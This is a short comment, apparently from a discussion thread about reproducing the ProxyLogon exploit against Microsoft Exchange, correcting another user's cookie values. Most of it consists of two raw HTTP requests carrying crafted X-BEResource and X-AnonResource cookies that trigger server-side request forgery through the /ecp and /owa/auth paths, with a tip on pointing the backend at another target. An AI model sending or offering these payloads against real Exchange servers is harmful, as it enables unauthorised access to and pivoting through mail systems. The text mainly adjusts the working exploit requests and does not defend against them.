cookie is not absolutely right

[IamRoadRunner]

I read this https://www.praetorian.com/blog/reproducing-proxylogon-exploit/.
there are two SSRF
1.
GET /ecp/j.js HTTP/1.1
Host: target_ip
Cookie:X-BEResource=x.x.x.x~1;
need to post content to verify
2.
GET /owa/auth/x.js HTTP/1.1
Host: target_ip
Cookie:X-AnonResource=true;X-AnonResource-Backend=xxxxx#~3;
You can replace 'xxxxx' with another target.

It's not exactly the same as yours